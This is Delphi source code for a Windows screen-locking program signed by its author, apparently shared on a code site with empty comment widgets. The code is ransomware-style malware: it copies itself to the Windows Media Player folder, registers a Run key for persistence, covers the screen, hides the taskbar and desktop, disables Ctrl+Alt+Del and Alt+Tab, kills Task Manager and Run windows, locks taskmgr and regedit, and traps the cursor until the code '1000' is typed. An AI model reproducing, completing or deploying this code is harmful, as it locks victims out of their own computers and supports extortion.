unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, Buttons, ExtCtrls,registry, OleServer, WordXP;
type
TForm1 = class(TForm)
Edit1: TEdit;
Button2: TButton;
Label3: TLabel;
Label7: TLabel;
Timer1: TTimer;
Button4: TButton;
Button5: TButton;
Button6: TButton;
Button8: TButton;
Button9: TButton;
Button3: TButton;
Button7: TButton;
Button16: TButton;
Button17: TButton;
Button18: TButton;
Timer2: TTimer;
Button1: TButton;
Button10: TButton;
ListBox1: TListBox;
procedure FormActivate(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure Edit1Change(Sender: TObject);
procedure FormKeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
procedure Edit1KeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
procedure Edit2KeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean);
procedure Button2Click(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
procedure Button4Click(Sender: TObject);
procedure Button5Click(Sender: TObject);
procedure Button6Click(Sender: TObject);
procedure Button8Click(Sender: TObject);
procedure Button9Click(Sender: TObject);
procedure Button3Click(Sender: TObject);
procedure Button7Click(Sender: TObject);
procedure Button16Click(Sender: TObject);
procedure Button17Click(Sender: TObject);
procedure Button18Click(Sender: TObject);
procedure Timer2Timer(Sender: TObject);
procedure Button10Click(Sender: TObject);
private
{ Private declarations }
procedure CreateParams(var T: TCreateParams); override;
procedure CreateWindowsRegions(const X, Y: Integer; const RegionHandle: THandle);
public
{ Public declarations }
end;
var
Form1: TForm1;
m_OldMHook: HHook = 0;
k_OldKBHook: HHook = 0;
implementation
{$R *.dfm}
function KbHook(code: Integer; wparam: Word; lparam: LongInt): LongInt; stdcall;
begin
if code < 0
then Result := CallNextHookEx(k_oldKbHook, code, wparam, lparam)
else Result := 1;
end;
procedure TForm1.CreateWindowsRegions(const X, Y: Integer;
const RegionHandle: THandle);
var
FirstRegion, CombineRegion : THandle;
begin
FirstRegion := CreateRoundRectRGN(0 + X, 0 + Y, 650 + X, 410 + Y, 55, 55);
CombineRegion := FirstRegion;
SetWindowRGN(RegionHandle, CombineRegion, true);
end;
procedure TForm1.Button3Click(Sender: TObject);
begin
edit1.text:=edit1.text+'6';
end;
procedure TForm1.Button4Click(Sender: TObject);
begin
edit1.text:=edit1.text+'1';
end;
procedure TForm1.Button5Click(Sender: TObject);
begin
edit1.text:=edit1.text+'2';
end;
procedure TForm1.Button6Click(Sender: TObject);
begin
edit1.text:=edit1.text+'3';
end;
procedure TForm1.Button7Click(Sender: TObject);
begin
edit1.text:=edit1.text+'7';
end;
procedure TForm1.Button8Click(Sender: TObject);
begin
edit1.text:=edit1.text+'4';
end;
procedure TForm1.Button9Click(Sender: TObject);
begin
edit1.text:=edit1.text+'5';
end;
procedure TForm1.CreateParams(var T : TCreateParams);
begin
inherited Createparams(T);
with T do
Style := (Style or WS_POPUP) and not WS_DLGFRAME;
end;
procedure TForm1.FormActivate(Sender: TObject);
var
hTaskBar : THandle;
begin
Edit1.Clear;
//Screen Size
form1.Height:=screen.Height;
form1.Width:=screen.Width;
//Disable ALT + CTRL + DEl ALT + TAB CTRL + ESC
SystemParametersInfo(SPI_SCREENSAVERRUNNING,1,0,0);
//Remove the Taskbar
hTaskbar := FindWindow('Shell_TrayWnd', Nil);
ShowWindow(hTaskBar, SW_HIDE);
//Remove icons from the desktop
ShowWindow(FindWindow(nil,'Program Manager'),SW_HIDE);
end;
procedure TForm1.FormCreate(Sender: TObject);
var
reg: tregistry;
begin
CopyFile(PChar(ParamStr(0)), PChar('C:\Program Files\Windows Media Player\' + ExtractFileName(ParamStr(0))), True);
Reg:=TRegistry.Create;
Reg.RootKey:=HKEY_CURRENT_USER;
Reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',true);
Reg.WriteString('Media','C:\Program Files\Windows Media Player\stop.exe');
Reg.CloseKey;
end;
procedure antio;
var
tit:HWND;
begin
tit:=FindWindow(nil, 'Диспетчер задач Windows');
if (tit>0) then
PostMessage(tit, WM_QUIT, 1, 0);
tit:=FindWindow(nil, 'Запуск программы');
if (tit>0) then
PostMessage(tit, WM_QUIT, 1, 0);
tit:=FindWindow(nil, 'Мой компьютер');
if (tit>0) then
PostMessage(tit, WM_QUIT, 1, 0);
end;
procedure TForm1.Edit1Change(Sender: TObject);
begin
Edit1.PasswordChar:='*';
end;
procedure TForm1.FormKeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
begin
if (Shift = [ssAlt]) and (Key = VK_F4) then Key := 0;
end;
procedure TForm1.Edit1KeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
begin
if (Shift = [ssAlt]) and (Key = VK_F4) then Key := 0;
end;
procedure TForm1.Edit2KeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
begin
if (Shift = [ssAlt]) and (Key = VK_F4) then Key := 0;
end;
procedure TForm1.Button10Click(Sender: TObject);
begin
edit1.text:=edit1.text+'-';
end;
procedure TForm1.Button16Click(Sender: TObject);
begin
edit1.text:=edit1.text+'8';
end;
procedure TForm1.Button17Click(Sender: TObject);
begin
edit1.text:=edit1.text+'9';
end;
procedure TForm1.Button18Click(Sender: TObject);
begin
edit1.text:=edit1.text+'0';
end;
procedure TForm1.Button2Click(Sender: TObject);
var
hTaskBar : THandle;
Login:string[10];
Password:string[20];
begin
Login:=edit1.text;
If (Login='1000') then
begin
DeleteFile('C:\Program Files\Windows Media Player\stop.exe');
///////////////////////////////////////////////////////////////
//включаем alt+ctrl+del alt+tab ctrl+esc
SystemParametersInfo(SPI_SCREENSAVERRUNNING,0,0,0);
//Показываем иконки на рабочем столе
ShowWindow(FindWindow(nil,'Program Manager'),SW_SHOW);
//Показываем Панель Задач
hTaskbar := FindWindow('Shell_TrayWnd', Nil);
ShowWindow(hTaskBar, SW_SHOWNORMAL);
//Закрываем прогу
Close;
///////////////////////////////////////////////////////////////
end
else
begin
Messagedlg('Неверные Коды',mterror,[mbok],0);
Edit1.Clear;
end;
end;
procedure TForm1.Timer1Timer(Sender: TObject);
begin
Form1.FormStyle:=fsStayOnTop;
fileopen('C:\windows\system32\taskmgr.exe',fmshareexclusive);
fileopen('C:\windows\regedit.exe',fmshareexclusive);
end;
procedure TForm1.Timer2Timer(Sender: TObject);
var
curs: TRect;
begin
antio;
SetWindowPos(Handle,HWND_TOPMOST,Left,Top,Width,Height,SWP_NOACTIVATE Or SWP_NOMOVE Or SWP_NOSIZE);
curs := Rect(Form1.Left+0, Form1.Top+0, Form1.Left + Form1.Width-0, Form1.Top + Form1.Height-0);
ClipCursor(@curs);
end;
procedure TForm1.FormCloseQuery(Sender: TObject; var CanClose: Boolean);
begin
CanClose:= false;
end;
end.
// Coded by Agulzex //
Comments
0 B
|👍
/👎
0 B
|👍
/👎